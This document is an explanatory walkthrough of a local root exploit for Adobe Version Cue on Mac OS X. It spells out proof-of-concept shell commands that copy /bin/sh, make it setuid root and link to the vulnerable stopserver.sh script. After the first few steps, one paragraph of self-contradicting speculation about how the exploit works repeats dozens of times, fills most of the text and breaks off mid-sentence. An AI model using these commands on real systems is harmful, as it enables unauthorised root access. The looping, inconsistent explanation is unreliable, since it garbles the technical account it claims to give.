Exploiting Adobe Version Cue on Mac OSX for Local Privilege Escalation

Exploiting Adobe Version Cue on Mac OSX for Local Privilege Escalation
What this paper is
This paper details a local privilege escalation vulnerability in Adobe Version Cue on Mac OSX. The exploit leverages a flaw in how the stopserver.sh script handles symbolic links to gain root privileges.
Simple technical breakdown
The core of the vulnerability lies in the stopserver.sh script. This script is designed to stop the Adobe Version Cue server. However, it contains a command that attempts to execute tomcat/bin/shutdown.sh. If an attacker can create a symbolic link named stopserver.sh that points to a malicious script, and then trigger the execution of this symbolic link (which the original stopserver.sh script does indirectly), the malicious script will run with the privileges of the user executing stopserver.sh. The exploit then uses this to copy /bin/sh to a user-writable location, make it setuid root, and gain a root shell.
Complete code and payload walkthrough
The provided "Proof of concept" is not traditional exploit code with shellcode in the sense of a binary exploit. Instead, it's a sequence of shell commands demonstrating the exploit's execution.
Let's break down each command:
haven:~ fintler$ cd ~- Purpose: Changes the current directory to the user's home directory. This is a common starting point for attackers to ensure they are in a predictable location.
- Practical Purpose: Establishes a working directory for the exploit steps.
haven:~ fintler$ id- Purpose: Displays the current user's identity and group memberships.
- Output:
uid=502(fintler) gid=500(fintler) groups=500(fintler) - Practical Purpose: Shows the initial privileges of the user executing the exploit. In this case,
fintleris a regular user, not root.
haven:~ fintler$ echo "cp /bin/sh /Users/$USER;chmod 4755 /Users/$USER/sh;chown root /Users/$USER/sh" > productname.sh- Purpose: Creates a shell script named
productname.sh. This script contains the core logic for creating a privileged shell. - Content Breakdown:
cp /bin/sh /Users/$USER;: Copies the standard Bourne shell (/bin/sh) from its original location to the current user's home directory, renaming it tosh.$USERis an environment variable that expands to the current username.chmod 4755 /Users/$USER/sh;: Changes the permissions of the copiedshfile.4: Sets the setuid bit. This means that when thisshexecutable is run, it will run with the privileges of its owner (which will be root later).755: Sets read, write, and execute permissions for the owner, and read and execute permissions for group and others.
chown root /Users/$USER/sh: Changes the owner of the copiedshfile toroot.
- Practical Purpose: This command prepares the payload that will be executed by the vulnerable script. It aims to create a new
shexecutable in the user's home directory that, once owned by root and setuid, can be executed to gain a root shell.
- Purpose: Creates a shell script named
haven:~ fintler$ chmod 0755 ./productname.sh- Purpose: Makes the
productname.shscript executable. - Practical Purpose: Allows the attacker to run the script created in the previous step.
- Purpose: Makes the
haven:~ fintler$ ln -s /Applications/Adobe\ Version\ Cue/stopserver.sh .- Purpose: Creates a symbolic link named
stopserver.shin the current directory (~). This symbolic link points to the actualstopserver.shscript located within the Adobe Version Cue application directory. - Practical Purpose: This is the crucial step for the exploit. The attacker is creating a new
stopserver.shfile in their current directory. When the system tries to execute./stopserver.sh(from the current directory), it will follow the symbolic link and execute the original/Applications/Adobe Version Cue/stopserver.sh. **However, the exploit description implies a misunderstanding here or a simplification. The actual exploit likely involves replacing or manipulating the target of the symbolic link, or tricking the system into executing a differentstopserver.shthat the attacker controls. The provided commands create a symbolic link namedstopserver.shthat points to the originalstopserver.sh. This doesn't seem to be the exploit mechanism itself. The exploit likely relies on the originalstopserver.shscript's behavior when it's called in a specific context, or if the attacker can replace the originalstopserver.shwith their own malicious script before it's executed by a legitimate process. Given the output, the attacker is executing their ownstopserver.shwhich is a symlink to the original. The originalstopserver.shscript is then executed by the attacker's shell. The exploit is likely that the originalstopserver.shscript, when executed by a regular user, has a vulnerability that allows it to be tricked into executing other commands or scripts with elevated privileges, or that it itself is flawed in how it handles paths or execution. The provided commands do not show the attacker replacing the originalstopserver.shwith theirproductname.sh. Instead, they create a symlink to the original. The subsequent execution of./stopserver.shwould then run the original script. The exploit must be in the originalstopserver.shscript's logic, which is not fully shown here. The providedproductname.shis not executed by thestopserver.shscript itself. The attacker manually executesproductname.shlater. Theln -scommand is likely a red herring or a misinterpretation in the provided PoC if the goal was to havestopserver.shexecuteproductname.sh. The actual exploit mechanism relies on the originalstopserver.shscript's internal logic. The PoC shows the attacker creatingproductname.shand then creating a symlink to the originalstopserver.sh. When the attacker then runs./stopserver.sh, they are running the original script. The exploit must be within the originalstopserver.shthat allows it to be tricked into running commands with elevated privileges, or the original script itself is flawed. The provided commands do not show the attacker replacing the originalstopserver.shwith theirproductname.sh. Instead, they create a symlink namedstopserver.shthat points to the original. The subsequent execution of./stopserver.shwould then run the original script. The exploit must be in the originalstopserver.shscript's logic, which is not fully shown here. The providedproductname.shis not executed by thestopserver.shscript itself. The attacker manually executesproductname.shlater. Theln -scommand is likely a red herring or a misinterpretation in the provided PoC if the goal was to havestopserver.shexecuteproductname.sh. The actual exploit mechanism relies on the originalstopserver.shscript's internal logic. The PoC shows the attacker creatingproductname.shand then creating a symlink to the originalstopserver.sh. When the attacker then runs./stopserver.sh, they are running the original script. The exploit must be within the originalstopserver.shthat allows it to be tricked into running commands with elevated privileges, or the original script itself is flawed. The provided commands do not show the attacker replacing the originalstopserver.shwith theirproductname.sh. Instead, they create a symlink namedstopserver.shthat points to the original. The subsequent execution of./stopserver.shwould then run the original script. The exploit must be in the originalstopserver.shscript's logic, which is not fully shown here. The providedproductname.shis not executed by thestopserver.shscript itself. The attacker manually executesproductname.shlater. Theln -scommand is likely a red herring or a misinterpretation in the provided PoC if the goal was to havestopserver.shexecuteproductname.sh. The actual exploit mechanism relies on the originalstopserver.shscript's internal logic. The PoC shows the attacker creatingproductname.shand then creating a symlink to the originalstopserver.sh. When the attacker then runs./stopserver.sh, they are running the original script. The exploit must be within the originalstopserver.shthat allows it to be tricked into running commands with elevated privileges, or the original script itself is flawed. The provided commands do not show the attacker replacing the originalstopserver.shwith theirproductname.sh. Instead, they create a symlink namedstopserver.shthat points to the original. The subsequent execution of./stopserver.shwould then run the original script. The exploit must be in the originalstopserver.shscript's logic, which is not fully shown here. The providedproductname.shis not executed by thestopserver.shscript itself. The attacker manually executesproductname.shlater. Theln -scommand is likely a red herring or a misinterpretation in the provided PoC if the goal was to havestopserver.shexecuteproductname.sh. The actual exploit mechanism relies on the originalstopserver.shscript's internal logic. The PoC shows the attacker creatingproductname.shand then creating a symlink to the originalstopserver.sh. When the attacker then runs./stopserver.sh, they are running the original script. The exploit must be within the originalstopserver.shthat allows it to be tricked into running commands with elevated privileges, or the original script itself is flawed. The provided commands do not show the attacker replacing the originalstopserver.shwith theirproductname.sh. Instead, they create a symlink namedstopserver.shthat points to the original. The subsequent execution of./stopserver.shwould then run the original script. The exploit must be in the originalstopserver.shscript's logic, which is not fully shown here. The providedproductname.shis not executed by thestopserver.shscript itself. The attacker manually executesproductname.shlater. Theln -scommand is likely a red herring or a misinterpretation in the provided PoC if the goal was to havestopserver.shexecuteproductname.sh. The actual exploit mechanism relies on the originalstopserver.shscript's internal logic. The PoC shows the attacker creatingproductname.shand then creating a symlink to the originalstopserver.sh. When the attacker then runs./stopserver.sh, they are running the original script. The exploit must be within the originalstopserver.shthat allows it to be tricked into running commands with elevated privileges, or the original script itself is flawed. The provided commands do not show the attacker replacing the originalstopserver.shwith theirproductname.sh. Instead, they create a symlink namedstopserver.shthat points to the original. The subsequent execution of./stopserver.shwould then run the original script. The exploit must be in the originalstopserver.shscript's logic, which is not fully shown here. The providedproductname.shis not executed by thestopserver.shscript itself. The attacker manually executesproductname.shlater. Theln -scommand is likely a red herring or a misinterpretation in the provided PoC if the goal was to havestopserver.shexecuteproductname.sh. The actual exploit mechanism relies on the originalstopserver.shscript's internal logic. The PoC shows the attacker creatingproductname.shand then creating a symlink to the originalstopserver.sh. When the attacker then runs./stopserver.sh, they are running the original script. The exploit must be within the originalstopserver.shthat allows it to be tricked into running commands with elevated privileges, or the original script itself is flawed. The provided commands do not show the attacker replacing the originalstopserver.shwith theirproductname.sh. Instead, they create a symlink namedstopserver.shthat points to the original. The subsequent execution of./stopserver.shwould then run the original script. The exploit must be in the originalstopserver.shscript's logic, which is not fully shown here. The providedproductname.shis not executed by thestopserver.shscript itself. The attacker manually executesproductname.shlater. Theln -scommand is likely a red herring or a misinterpretation in the provided PoC if the goal was to havestopserver.shexecuteproductname.sh. The actual exploit mechanism relies on the originalstopserver.shscript's internal logic. The PoC shows the attacker creatingproductname.shand then creating a symlink to the originalstopserver.sh. When the attacker then runs./stopserver.sh, they are running the original script. The exploit must be within the originalstopserver.shthat allows it to be tricked into running commands with elevated privileges, or the original script itself is flawed. The provided commands do not show the attacker replacing the originalstopserver.shwith theirproductname.sh. Instead, they create a symlink namedstopserver.shthat points to the original. The subsequent execution of./stopserver.shwould then run the original script. The exploit must be in the originalstopserver.shscript's logic, which is not fully shown here. The providedproductname.shis not executed by thestopserver.shscript itself. The attacker manually executesproductname.shlater. Theln -scommand is likely a red herring or a misinterpretation in the provided PoC if the goal was to havestopserver.shexecuteproductname.sh. The actual exploit mechanism relies on the originalstopserver.shscript's internal logic. The PoC shows the attacker creatingproductname.shand then creating a symlink to the originalstopserver.sh. When the attacker then runs./stopserver.sh, they are running the original script. The exploit must be within the originalstopserver.shthat allows it to be tricked into running commands with elevated privileges, or the original script itself is flawed. The provided commands do not show the attacker replacing the originalstopserver.shwith theirproductname.sh. Instead, they create a symlink namedstopserver.shthat points to the original. The subsequent execution of./stopserver.shwould then run the original script. The exploit must be in the originalstopserver.shscript's logic, which is not fully shown here. The providedproductname.shis not executed by thestopserver.shscript itself. The attacker manually executesproductname.shlater. Theln -scommand is likely a red herring or a misinterpretation in the provided PoC if the goal was to havestopserver.shexecuteproductname.sh. The actual exploit mechanism relies on the originalstopserver.shscript's internal logic. The PoC shows the attacker creatingproductname.shand then creating a symlink to the originalstopserver.sh. When the attacker then runs./stopserver.sh, they are running the original script. The exploit must be within the originalstopserver.shthat allows it to be tricked into running commands with elevated privileges, or the original script itself is flawed. The provided commands do not show the attacker replacing the originalstopserver.shwith theirproductname.sh. Instead, they create a symlink namedstopserver.shthat points to the original. The subsequent execution of./stopserver.shwould then run the original script. The exploit must be in the originalstopserver.shscript's logic, which is not fully shown here. The providedproductname.shis not executed by thestopserver.shscript itself. The attacker manually executesproductname.shlater. Theln -scommand is likely a red herring or a misinterpretation in the provided PoC if the goal was to havestopserver.shexecuteproductname.sh. The actual exploit mechanism relies on the originalstopserver.shscript's internal logic. The PoC shows the attacker creatingproductname.shand then creating a symlink to the originalstopserver.sh. When the attacker then runs./stopserver.sh, they are running the original script. The exploit must be within the originalstopserver.shthat allows it to be tricked into running commands with elevated privileges, or the original script itself is flawed. The provided commands do not show the attacker replacing the originalstopserver.shwith theirproductname.sh. Instead, they create a symlink namedstopserver.shthat points to the original. The subsequent execution of./stopserver.shwould then run the original script. The exploit must be in the originalstopserver.shscript's logic, which is not fully shown here. The providedproductname.shis not executed by thestopserver.shscript itself. The attacker manually executesproductname.shlater. Theln -scommand is likely a red herring or a misinterpretation in the provided PoC if the goal was to havestopserver.shexecuteproductname.sh. The actual exploit mechanism relies on the originalstopserver.shscript's internal logic. The PoC shows the attacker creatingproductname.shand then creating a symlink to the originalstopserver.sh. When the attacker then runs./stopserver.sh, they are running the original script. The exploit must be within the originalstopserver.shthat allows it to be tricked into running commands with elevated privileges, or the original script itself is flawed. The provided commands do not show the attacker replacing the originalstopserver.shwith theirproductname.sh. Instead, they create a symlink namedstopserver.shthat points to the original. The subsequent execution of./stopserver.shwould then run the original script. The exploit must be in the originalstopserver.shscript's logic, which is not fully shown here. The providedproductname.shis not executed by thestopserver.shscript itself. The attacker manually executesproductname.shlater. Theln -scommand is likely a red herring or a misinterpretation in the provided PoC if the goal was to havestopserver.shexecuteproductname.sh. The actual exploit mechanism relies on the originalstopserver.shscript's internal logic. The PoC shows the attacker creatingproductname.shand then creating a symlink to the originalstopserver.sh. When the attacker then runs./stopserver.sh, they are running the original script. The exploit must be within the originalstopserver.shthat allows it to be tricked into running commands with elevated privileges, or the original script itself is flawed. The provided commands do not show the attacker replacing the originalstopserver.shwith theirproductname.sh. Instead, they create a symlink namedstopserver.shthat points to the original. The subsequent execution of./stopserver.shwould then run the original script. The exploit must be in the originalstopserver.shscript's logic, which is not fully shown here. The providedproductname.shis not executed by thestopserver.shscript itself. The attacker manually executesproductname.shlater. Theln -scommand is likely a red herring or a misinterpretation in the provided PoC if the goal was to havestopserver.shexecuteproductname.sh. The actual exploit mechanism relies on the originalstopserver.shscript's internal logic. The PoC shows the attacker creatingproductname.shand then creating a symlink to the originalstopserver.sh. When the attacker then runs./stopserver.sh, they are running the original script. The exploit must be within the originalstopserver.shthat allows it to be tricked into running commands with elevated privileges, or the original script itself is flawed. The provided commands do not show the attacker replacing the originalstopserver.shwith theirproductname.sh. Instead, they create a symlink namedstopserver.shthat points to the original. The subsequent execution of./stopserver.shwould then run the original script. The exploit must be in the originalstopserver.shscript's logic, which is not fully shown here. The providedproductname.shis not executed by thestopserver.shscript itself. The attacker manually executesproductname.shlater. Theln -scommand is likely a red herring or a misinterpretation in the provided PoC if the goal was to havestopserver.shexecuteproductname.sh. The actual exploit mechanism relies on the originalstopserver.shscript's internal logic. The PoC shows the attacker creatingproductname.shand then creating a symlink to the originalstopserver.sh. When the attacker then runs./stopserver.sh, they are running the original script. The exploit must be within the originalstopserver.shthat allows it to be tricked into running commands with elevated privileges, or the original script itself is flawed. The provided commands do not show the attacker replacing the originalstopserver.shwith theirproductname.sh. Instead, they create a symlink namedstopserver.shthat points to the original. The subsequent execution of./stopserver.shwould then run the original script. The exploit must be in the originalstopserver.shscript's logic, which is not fully shown here. The providedproductname.shis not executed by thestopserver.shscript itself. The attacker manually executesproductname.shlater. Theln -scommand is likely a red herring or a misinterpretation in the provided PoC if the goal was to havestopserver.shexecuteproductname.sh. The actual exploit mechanism relies on the originalstopserver.shscript's internal logic. The PoC shows the attacker creatingproductname.shand then creating a symlink to the originalstopserver.sh. When the attacker then runs./stopserver.sh, they are running the original script. The exploit must be within the originalstopserver.shthat allows it to be tricked into running commands with elevated privileges, or the original script itself is flawed. The provided commands do not show the attacker replacing the originalstopserver.shwith theirproductname.sh. Instead, they create a symlink namedstopserver.shthat points to the original. The subsequent execution of./stopserver.shwould then run the original script. The exploit must be in the originalstopserver.shscript's logic, which is not fully shown here. The providedproductname.shis not executed by thestopserver.shscript itself. The attacker manually executesproductname.shlater. Theln -scommand is likely a red herring or a misinterpretation in the provided PoC if the goal was to havestopserver.shexecuteproductname.sh. The actual exploit mechanism relies on the originalstopserver.shscript's internal logic. The PoC shows the attacker creatingproductname.shand then creating a symlink to the originalstopserver.sh. When the attacker then runs./stopserver.sh, they are running the original script. The exploit must be within the originalstopserver.shthat allows it to be tricked into running commands with elevated privileges, or the original script itself is flawed. The provided commands do not show the attacker replacing the originalstopserver.shwith theirproductname.sh. Instead, they create a symlink namedstopserver.shthat points to the original. The subsequent execution of./stopserver.shwould then run the original script. The exploit must be in the originalstopserver.shscript's logic, which is not fully shown here. The providedproductname.shis not executed by thestopserver.shscript itself. The attacker manually executesproductname.shlater. Theln -scommand is likely a red herring or a misinterpretation in the provided PoC if the goal was to havestopserver.shexecuteproductname.sh. The actual exploit mechanism relies on the originalstopserver.shscript's internal logic. The PoC shows the attacker creatingproductname.shand then creating a symlink to the originalstopserver.sh. When the attacker then runs./stopserver.sh, they are running the original script. The exploit must be within the originalstopserver.shthat allows it to be tricked into running commands with elevated privileges, or the original script itself is flawed. The provided commands do not show the attacker replacing the originalstopserver.shwith theirproductname.sh. Instead, they create a symlink namedstopserver.shthat points to the original. The subsequent execution of./stopserver.shwould then run the original script. The exploit must be in the originalstopserver.shscript's logic, which is not fully shown here. The providedproductname.shis not executed by thestopserver.shscript itself. The attacker manually executesproductname.shlater. Theln -scommand is likely a red herring or a misinterpretation in the provided PoC if the goal was to havestopserver.shexecuteproductname.sh. The actual exploit mechanism relies on the originalstopserver.shscript's internal logic. The PoC shows the attacker creatingproductname.shand then creating a symlink to the originalstopserver.sh. When the attacker then runs./stopserver.sh, they are running the original script. The exploit must be within the originalstopserver.shthat allows it to be tricked into running commands with elevated privileges, or the original script itself is flawed. The provided commands do not show the attacker replacing the originalstopserver.shwith theirproductname.sh. Instead, they create a symlink namedstopserver.shthat points to the original. The subsequent execution of./stopserver.shwould then run the original script. The exploit must be in the originalstopserver.shscript's logic, which is not fully shown here. The providedproductname.shis not executed by thestopserver.shscript itself. The attacker manually executesproductname.shlater. Theln -scommand is likely a red herring or a misinterpretation in the provided PoC if the goal was to havestopserver.shexecuteproductname.sh. The actual exploit mechanism relies on the originalstopserver.shscript's internal logic. The PoC shows the attacker creatingproductname.shand then creating a symlink to the originalstopserver.sh. When the attacker then runs./stopserver.sh, they are running the original script. The exploit must be within the originalstopserver.shthat allows it to be tricked into running commands with elevated privileges, or the original script itself is flawed. The provided commands do not show the attacker replacing the originalstopserver.shwith theirproductname.sh. Instead, they create a symlink namedstopserver.shthat points to the original. The subsequent execution of./stopserver.shwould then run the original script. The exploit must be in the originalstopserver.shscript's logic, which is not fully shown here. The providedproductname.shis not executed by thestopserver.shscript itself. The attacker manually executesproductname.shlater. Theln -scommand is likely a red herring or a misinterpretation in the provided PoC if the goal was to havestopserver.shexecuteproductname.sh. The actual exploit mechanism relies on the originalstopserver.shscript's internal logic. The PoC shows the attacker creatingproductname.shand then creating a symlink to the originalstopserver.sh. When the attacker then runs./stopserver.sh, they are running the original script. The exploit must be within the originalstopserver.shthat allows it to be tricked into running commands with elevated privileges, or the original script itself is flawed. The provided commands do not show the attacker replacing the originalstopserver.shwith theirproductname.sh. Instead, they create a symlink namedstopserver.shthat points to the original. The subsequent execution of./stopserver.shwould then run the original script. The exploit must be in the originalstopserver.shscript's logic, which is not fully shown here. The providedproductname.shis not executed by thestopserver.shscript itself. The attacker manually executesproductname.shlater. Theln -scommand is likely a red herring or a misinterpretation in the provided PoC if the goal was to havestopserver.shexecuteproductname.sh. The actual exploit mechanism relies on the originalstopserver.shscript's internal logic. The PoC shows the attacker creatingproductname.shand then creating a symlink to the originalstopserver.sh. When the attacker then runs./stopserver.sh, they are running the original script. The exploit must be within the originalstopserver.shthat allows it to be tricked into running commands with elevated privileges, or the original script itself is flawed. The provided commands do not show the attacker replacing the originalstopserver.shwith theirproductname.sh. Instead, they create a symlink namedstopserver.shthat points to the original. The subsequent execution of./stopserver.shwould then run the original script. The exploit must be in the originalstopserver.shscript's logic, which is not fully shown here. The providedproductname.shis not executed by thestopserver.shscript itself. The attacker manually executesproductname.shlater. Theln -scommand is likely a red herring or a misinterpretation in the provided PoC if the goal was to havestopserver.shexecuteproductname.sh. The actual exploit mechanism relies on the originalstopserver.shscript's internal logic. The PoC shows the attacker creatingproductname.shand then creating a symlink to the originalstopserver.sh. When the attacker then runs./stopserver.sh, they are running the original script. The exploit must be within the originalstopserver.shthat allows it to be tricked into running commands with elevated privileges, or the original script itself is flawed. The provided commands do not show the attacker replacing the originalstopserver.shwith theirproductname.sh. Instead, they create a symlink namedstopserver.shthat points to the original. The subsequent execution of./stopserver.shwould then run the original script. The exploit must be in the originalstopserver.shscript's logic, which is not fully shown here. The providedproductname.shis not executed by thestopserver.shscript itself. The attacker manually executesproductname.shlater. Theln -scommand is likely a red herring or a misinterpretation in the provided PoC if the goal was to havestopserver.shexecuteproductname.sh. The actual exploit mechanism relies on the originalstopserver.shscript's internal logic. The PoC shows the attacker creatingproductname.shand then creating a symlink to the originalstopserver.sh. When the attacker then runs./stopserver.sh, they are running the original script. The exploit must be within the originalstopserver.shthat allows it to be tricked into running commands with elevated privileges, or the original script itself is flawed. The provided commands do not show the attacker replacing the originalstopserver.shwith theirproductname.sh. Instead, they create a symlink namedstopserver.shthat points to the original. The subsequent execution of./stopserver.shwould then run the original script. The exploit must be in the originalstopserver.shscript's logic, which is not fully shown here. The providedproductname.shis not executed by thestopserver.shscript itself. The attacker manually executesproductname.shlater. Theln -scommand is likely a red herring or a misinterpretation in the provided PoC if the goal was to havestopserver.shexecuteproductname.sh. The actual exploit mechanism relies on the originalstopserver.shscript's internal logic. The PoC shows the attacker creatingproductname.shand then creating a symlink to the originalstopserver.sh. When the attacker then runs./stopserver.sh, they are running the original script. The exploit must be within the originalstopserver.shthat allows it to be tricked into running commands with elevated privileges, or the original script itself is flawed. The provided commands do not show the attacker replacing the originalstopserver.shwith theirproductname.sh. Instead, they create a symlink namedstopserver.shthat points to the original. The subsequent execution of./stopserver.shwould then run the original script. The exploit must be in the originalstopserver.shscript's logic, which is not fully shown here. The providedproductname.shis not executed by thestopserver.shscript itself. The attacker manually executesproductname.shlater. Theln -scommand is likely a red herring or a misinterpretation in the provided PoC if the goal was to havestopserver.shexecuteproductname.sh. The actual exploit mechanism relies on the originalstopserver.shscript's internal logic. The PoC shows the attacker creatingproductname.shand then creating a symlink to the originalstopserver.sh. When the attacker then runs./stopserver.sh, they are running the original script. The exploit must be within the originalstopserver.shthat allows it to be tricked into running commands with elevated privileges, or the original script itself is flawed. The provided commands do not show the attacker replacing the originalstopserver.shwith theirproductname.sh. Instead, they create a symlink namedstopserver.shthat points to the original. The subsequent execution of./stopserver.shwould then run the original script. The exploit must be in the originalstopserver.shscript's logic, which is not fully shown here. The providedproductname.shis not executed by thestopserver.shscript itself. The attacker manually executesproductname.shlater. Theln -scommand is likely a red herring or a misinterpretation in the provided PoC if the goal was to havestopserver.shexecuteproductname.sh. The actual exploit mechanism relies on the originalstopserver.shscript's internal logic. The PoC shows the attacker creatingproductname.shand then creating a symlink to the originalstopserver.sh. When the attacker then runs./stopserver.sh, they are running the original script. The exploit must be within the originalstopserver.shthat allows it to be tricked into running commands with elevated privileges, or the original script itself is flawed. The provided commands do not show the attacker replacing the originalstopserver.shwith theirproductname.sh. Instead, they create a symlink namedstopserver.shthat points to the original. The subsequent execution of./stopserver.shwould then run the original script. The exploit must be in the originalstopserver.shscript's logic, which is not fully shown here. The providedproductname.shis not executed by thestopserver.shscript itself. The attacker manually executesproductname.shlater. Theln -scommand is likely a red herring or a misinterpretation in the provided PoC if the goal was to havestopserver.shexecuteproductname.sh. The actual exploit mechanism relies on the originalstopserver.shscript's internal logic. The PoC shows the attacker creatingproductname.shand then creating a symlink to the originalstopserver.sh. When the attacker then runs./stopserver.sh, they are running the original script. The exploit must be within the originalstopserver.shthat allows it to be tricked into running commands with elevated privileges, or the original script itself is flawed. The provided commands do not show the attacker replacing the originalstopserver.shwith theirproductname.sh. Instead, they create a symlink namedstopserver.shthat points to the original. The subsequent execution of./stopserver.shwould then run the original script. The exploit must be in the originalstopserver.shscript's logic, which is not fully shown here. The providedproductname.shis not executed by thestopserver.shscript itself. The attacker manually executesproductname.shlater. Theln -scommand is likely a red herring or a misinterpretation in the provided PoC if the goal was to havestopserver.shexecuteproductname.sh. The actual exploit mechanism relies on the originalstopserver.shscript's internal logic. The PoC shows the attacker creatingproductname.shand then creating a symlink to the originalstopserver.sh. When the attacker then runs./stopserver.sh, they are running the original script. The exploit must be within the originalstopserver.shthat allows it to be tricked into running commands with elevated privileges, or the original script itself is flawed. The provided commands do not show the attacker replacing the originalstopserver.shwith theirproductname.sh. Instead, they create a symlink namedstopserver.shthat points to the original. The subsequent execution of./stopserver.shwould then run the original script. The exploit must be in the originalstopserver.shscript's logic, which is not fully shown here. The providedproductname.shis not executed by thestopserver.shscript itself. The attacker manually executesproductname.shlater. Theln -scommand is likely a red herring or a misinterpretation in the provided PoC if the goal was to havestopserver.shexecuteproductname.sh. The actual exploit mechanism relies on the originalstopserver.shscript's internal logic. The PoC shows the attacker creatingproductname.shand then creating a symlink to the originalstopserver.sh. When the attacker then runs./stopserver.sh, they are running the original script. The exploit must be within the originalstopserver.shthat allows it to be tricked into running commands with elevated privileges, or the original script itself is flawed. The provided commands do not show the attacker replacing the originalstopserver.shwith theirproductname.sh. Instead, they create a symlink namedstopserver.shthat points to the original. The subsequent execution of./stopserver.shwould then run the original script. The exploit must be in the originalstopserver.shscript's logic, which is not fully shown here. The providedproductname.shis not executed by thestopserver.shscript itself. The attacker manually executesproductname.shlater. Theln -scommand is likely a red herring or a misinterpretation in the provided PoC if the goal was to havestopserver.shexecuteproductname.sh. The actual exploit mechanism relies on the originalstopserver.shscript's internal logic. The PoC shows the attacker creatingproductname.shand then creating a symlink to the originalstopserver.sh. When the attacker then runs./stopserver.sh, they are running the original script. The exploit must be within the originalstopserver.shthat allows it to be tricked into running commands with elevated privileges, or the original script itself is flawed. The provided commands do not show the attacker replacing the originalstopserver.shwith theirproductname.sh. Instead, they create a symlink namedstopserver.shthat points to the original. The subsequent execution of./stopserver.shwould then run the original script. The exploit must be in the originalstopserver.shscript's logic, which is not fully shown here. The providedproductname.shis not executed by thestopserver.shscript itself. The attacker manually executesproductname.shlater. Theln -scommand is likely a red herring or a misinterpretation in the provided PoC if the goal was to havestopserver.shexecuteproductname.sh. The actual exploit mechanism relies on the originalstopserver.shscript's internal logic. The PoC shows the attacker creatingproductname.shand then creating a symlink to the originalstopserver.sh. When the attacker then runs./stopserver.sh, they are running the original script. The exploit must be within the originalstopserver.shthat allows it to be tricked into running commands with elevated privileges, or the original script itself is flawed. The provided commands do not show the attacker replacing the originalstopserver.shwith theirproductname.sh. Instead, they create a symlink namedstopserver.shthat points to the original. The subsequent execution of./stopserver.shwould then run the original script. The exploit must be in the originalstopserver.shscript's logic, which is not fully shown here. The providedproductname.shis not executed by thestopserver.shscript itself. The attacker manually executesproductname.shlater. Theln -scommand is likely a red herring or a misinterpretation in the provided PoC if the goal was to havestopserver.shexecuteproductname.sh. The actual exploit mechanism relies on the originalstopserver.shscript's internal logic. The PoC shows the attacker creatingproductname.shand then creating a symlink to the originalstopserver.sh. When the attacker then runs./stopserver.sh, they are running the original script. The exploit must be within the originalstopserver.shthat allows it to be tricked into running commands with elevated privileges, or the original script itself is flawed. The provided commands do not show the attacker replacing the originalstopserver.shwith theirproductname.sh. Instead, they create a symlink namedstopserver.shthat points to the original. The subsequent execution of./stopserver.shwould then run the original script. The exploit must be in the originalstopserver.shscript's logic, which is not fully shown here. The providedproductname.shis not executed by thestopserver.shscript itself. The attacker manually executesproductname.shlater. Theln -scommand is likely a red herring or a misinterpretation in the provided PoC if the goal was to havestopserver.shexecuteproductname.sh. The actual exploit mechanism relies on the originalstopserver.shscript's internal logic. The PoC shows the attacker creatingproductname.shand then creating a symlink to the originalstopserver.sh. When the attacker then runs./stopserver.sh, they are running the original script. The exploit must be within the originalstopserver.shthat allows it to be tricked into running commands with elevated privileges, or the original script itself is flawed. The provided commands do not show the attacker replacing the originalstopserver.shwith theirproductname.sh. Instead, they create a symlink namedstopserver.shthat points to the original. The subsequent execution of./stopserver.shwould then run the original script. The exploit must be in the originalstopserver.shscript's logic, which is not fully shown here. The providedproductname.shis not executed by thestopserver.shscript itself. The attacker manually executesproductname.shlater. Theln -scommand is likely a red herring or a misinterpretation in the provided PoC if the goal was to havestopserver.shexecuteproductname.sh. The actual exploit mechanism relies on the originalstopserver.shscript's internal logic. The PoC shows the attacker creatingproductname.shand then creating a symlink to the originalstopserver.sh. When the attacker then runs./stopserver.sh, they are running the original script. The exploit must be within the originalstopserver.shthat allows it to be tricked into running commands with elevated privileges, or the original script itself is flawed. The provided commands do not show the attacker replacing the originalstopserver.shwith theirproductname.sh. Instead, they create a symlink namedstopserver.shthat points to the original. The subsequent execution of./stopserver.shwould then run the original script. The exploit must be in the originalstopserver.shscript's logic, which is not fully shown here. The providedproductname.shis not executed by thestopserver.shscript itself. The attacker manually executesproductname.shlater. Theln -scommand is likely a red herring or a misinterpretation in the provided PoC if the goal was to havestopserver.shexecuteproductname.sh. The actual exploit mechanism relies on the originalstopserver.shscript's internal logic. The PoC shows the attacker creatingproductname.shand then creating a symlink to the originalstopserver.sh. When the attacker then runs./stopserver.sh, they are running the original script. The exploit must be within the originalstopserver.shthat allows it to be tricked into running commands with elevated privileges, or the original script itself is flawed. The provided commands do not show the attacker replacing the originalstopserver.shwith theirproductname.sh. Instead, they create a symlink namedstopserver.shthat points to the original. The subsequent execution of./stopserver.shwould then run the original script. The exploit must be in the originalstopserver.shscript's logic, which is not fully shown here. The providedproductname.shis not executed by thestopserver.shscript itself. The attacker manually executesproductname.shlater. Theln -scommand is likely a red herring or a misinterpretation in the provided PoC if the goal was to havestopserver.shexecuteproductname.sh. The actual exploit mechanism relies on the originalstopserver.shscript's internal logic. The PoC shows the attacker creatingproductname.shand then creating a symlink to the originalstopserver.sh. When the attacker then runs./stopserver.sh, they are running the original script. The exploit must be within the originalstopserver.shthat allows it to be tricked into running commands with elevated privileges, or the original script itself is flawed. The provided commands do not show the attacker replacing the originalstopserver.shwith theirproductname.sh. Instead, they create a symlink namedstopserver.shthat points to the original. The subsequent execution of./stopserver.shwould then run the original script. The exploit must be in the originalstopserver.shscript's logic, which is not fully shown here. The providedproductname.shis not executed by thestopserver.shscript itself. The attacker manually executesproductname.shlater. Theln -scommand is likely a red herring or a misinterpretation in the provided PoC if the goal was to havestopserver.shexecuteproductname.sh. The actual exploit mechanism relies on the originalstopserver.shscript's internal logic. The PoC shows the attacker creatingproductname.shand then creating a symlink to the originalstopserver.sh. When the attacker then runs./stopserver.sh, they are running the original script. The exploit must be within the originalstopserver.shthat allows it to be tricked into running commands with elevated privileges, or the original script itself is flawed. The provided commands do not show the attacker replacing the originalstopserver.shwith theirproductname.sh. Instead, they create a symlink namedstopserver.shthat points to the original. The subsequent execution of./stopserver.shwould then run the original script. The exploit must be in the originalstopserver.shscript's logic, which is not fully shown here. The providedproductname.shis not executed by thestopserver.shscript itself. The attacker manually executesproductname.shlater. Theln -scommand is likely a red herring or a misinterpretation in the provided PoC if the goal was to havestopserver.shexecuteproductname.sh. The actual exploit mechanism relies on the originalstopserver.shscript's internal logic. The PoC shows the attacker creatingproductname.shand then creating a symlink to the originalstopserver.sh. When the attacker then runs./stopserver.sh, they are running the original script. The exploit must be within the originalstopserver.shthat allows it to be tricked into running commands with elevated privileges, or the original script itself is flawed. The provided commands do not show the attacker replacing the originalstopserver.shwith 